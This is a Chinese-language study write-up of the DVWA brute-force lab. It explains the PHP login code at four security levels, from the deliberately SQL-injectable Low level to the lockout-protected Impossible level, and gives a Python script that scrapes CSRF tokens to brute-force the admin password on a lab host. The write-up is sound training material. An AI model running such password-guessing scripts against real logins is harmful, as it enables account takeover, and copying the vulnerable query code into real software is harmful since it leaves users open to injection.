0x01 暴力破解
暴力破解的原理是使用攻击者自己的用户名和密码字典,一个一个去枚举,尝试是否能够登录。因为理论上来说,只要字典足够庞大,枚举总是能够成功的。
0x02 Low级别
使用burp的intruder模块和字典暴力破解即可。
以下是自己对于low级别代码的理解(大佬轻喷):
<?php if( isset( $_GET[ 'Login' ] ) ) { // 获取用户名 $user = $_GET[ 'username' ]; // 获取密码 $pass = $_GET[ 'password' ]; // 再对密码进行md5加密 $pass = md5( $pass ); // 查询数据库 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; // mysqli_query函数执行查询;die函数输出一条消息,并退出当前脚本;is_object函数用于检测变量是否是一个对象;mysqli_error函数用于返回最近调用的函数的最后一个错误描述;mysqli_connect_error函数用于返回上一次连接错误的错误描述 // $GLOBALS["___mysqli_ston"]与mysqli_connect("localhost","用户名","密码","数据库名")的作用相同,就是连接数据库。 // 下面语句的大致意思是先连接数据库,连接成功就执行下面的语句,连接失败就是执行die函数里面的内容,die函数里面,简单说就是因为连接失败,首先检测变量是否为对象,是就返回最近连接数据库时调用的函数的最后一个错误描述,否的话,就是如果是连接错误,就将错误描述赋给$___mysqli_res,$___mysqli_res会在最后那段代码显示它的作用。 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // mysqli_num_rows函数用于返回结果集中行的数目 if( $result && mysqli_num_rows( $result ) == 1 ) { // 获取user的详细内容,mysqli_fetch_assoc函数从结果集中取得一行作为关联数组 $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // 登录成功 echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // 登录失败。 echo "<pre><br />Username and/or password incorrect.</pre>"; } // is_null函数用于检测变量是否为NULL;mysqli_close函数用于关闭先前打开的连接;这段代码主要表现是当数据库连接错误后,在下方显示相应的连接错误的错误描述。而登录失败的输出是scho那里的语句。 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
0x03 Medium级别
同Low级别一样,使用burp的intruder模块和字典暴力破解即可。
以下是自己对于medium级别代码的理解(大佬轻喷):
<?php if( isset( $_GET[ 'Login' ] ) ) { // 下面两段代码都是为了保证用户输入的内容是安全的,其实我的理解这样做是为了防止SQL注入。mysqli_real_escape_string函数用于将字符串中的特殊字符进行转义;trigger_error() 函数
创建用户自定义的错误消息,这个函数的详情可以参考https://www.runoob.com/php/func-error-trigger-error.html,其中就有E_USER_ERROR的作用。 $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : (
(trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 这里就是输入密码,大致含义跟上面的用户名输入差不多,只不过密码最后还进行了一次md5加密。 $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : (
(trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // 下面的全部代码跟Low级别一样,基本没有变化。 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston
"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // 登录失败之后就休眠2秒,再对客户端进行响应。 sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Medium级别的变化,我的理解就是在Low级别上防止了SQL注入,但是还是没有改变什么,仍然是只要字典足够大就一定能暴力破解。
0x04 High级别
该级别的暴力破解需要通过脚本来进行破解,因为每次输入用户名和密码进行破解时的token都不一样,所以必须在使用一个用户名和一个密码进行破解的同时获取一个新返回的token,否则将导致正确密码与错误密码返回几乎一样的响应,从而让我们无法区分正确与错误的情况。
以下是自己对于high级别代码的理解(大佬轻喷):
<?php if( isset( $_GET[ 'Login' ] ) ) { // 检查user_token,不正确的话,你懂的 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // stripslashes函数用于删除反斜杠;这部分代码就是在medium级别上添加了删除反斜杠的代码。 $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : (
(trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 同上面的用户名输入部分一样,并进行MD5加密 $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : (
(trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // 同medium、Low级别,下面的代码没太大变化 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston
"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // 登录失败就随机休眠0到3秒 sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // 这里是每次产生token的地方 generateSessionToken(); ?>
使用的脚本:
import requests; from bs4 import BeautifulSoup; #此处大括号中的内容抓包获取 headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0', 'Cookie':'PHPSESSID=0b57c720nqfoe0jc467o58c8i1; security=high' } #暴力破解页面地址 url = "http://192.168.84.136:89/vulnerabilities/brute/" def get_token(url, headers): response = requests.get(url, headers=headers) print(response.status_code) html = response.content.decode() print(len(html)) soup = BeautifulSoup(html,"html.parser") user_token = soup.find_all("input")[3].get("value") return user_token user_token = get_token(url, headers) i=0 for line in open("password.txt"): url = "http://192.168.84.136:89/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i = i+1 print(i, 'admin', line.strip()) user_token = get_token(url,headers)
0x05 Impossible级别
看到这个级别的源代码,就可以不用考虑暴力破解了:)
以下是自己对于impossible级别代码的理解(大佬轻喷):
<?php //首先就是变为了POST传参 if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) { // 检查token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 用户名输入部分同high级别一样 $user = $_POST[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 密码输入部分也是同high级别一样 $pass = $_POST[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // 设置默认值,第一行为只能登录失败3次,第二行为锁定账户的时间,第三行是锁定账户的状态为false,也就是初始时没有锁定账户的 $total_failed_login = 3; $lockout_time = 15; $account_locked = false; // prepare:准备要执行的SQL语句并返回一个PDOStatement对象;bindParam:绑定一个参数到指定的变量名;execute:执行准备好的语句;fetch:从结果集中获取下一行。
// (:user)只是一个占位符,而bindParam将$user绑定到占位符处,并定义为CHAR、VARCHAR或其他字符串类型。PDO预定义常量可以参考https://www.runoob.com/php/php-pdo-constants.html $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // 如果登录失败的次数超过了3次,就执行大括号内的语句,锁定账户。rowCount:返回受上一个SQL语句影响的行数; if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // 计算什么时候让用户可以登录账户,也就是锁定账户15分钟。strtotime:将英文文本日期时间解析为Unix时间戳;time:返回当前时间的Unix时间戳,并格式化为日期; $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); // 如果没有超过锁定的时间,就继续锁定。 if( $timenow < $timeout ) { $account_locked = true; } } // 这里就是查询数据库了,具体内容参考上面部分即可明白。 $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // 下面部分是当用户登录有效时进行的操作。当登录成功后,重置登录错误的次数,或者超过3次登录失败后,提示用户登录失败的次数超了,并重置登录错误的次数 if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // 登录成功 echo "<p>Welcome to the password protected area <em>{$user}</em></p>"; echo "<img src=\"{$avatar}\" />"; // 当用户登录失败次数大于3次,则执行下面的代码 if( $failed_login >= $total_failed_login ) { echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; } // 重置登录错误的次数 $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // 登录失败,给用户一些反馈,并更新登录失败的次数以及设置下一次登录的时间 sleep( rand( 2, 4 ) ); // 就是给用户的一些返回信息 echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If
this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; // 更新登录失败的次数 $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // 设置最后登录的时间 $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // 产生token generateSessionToken(); ?>
以上就是自己对DVWA暴力破解的代码的学习。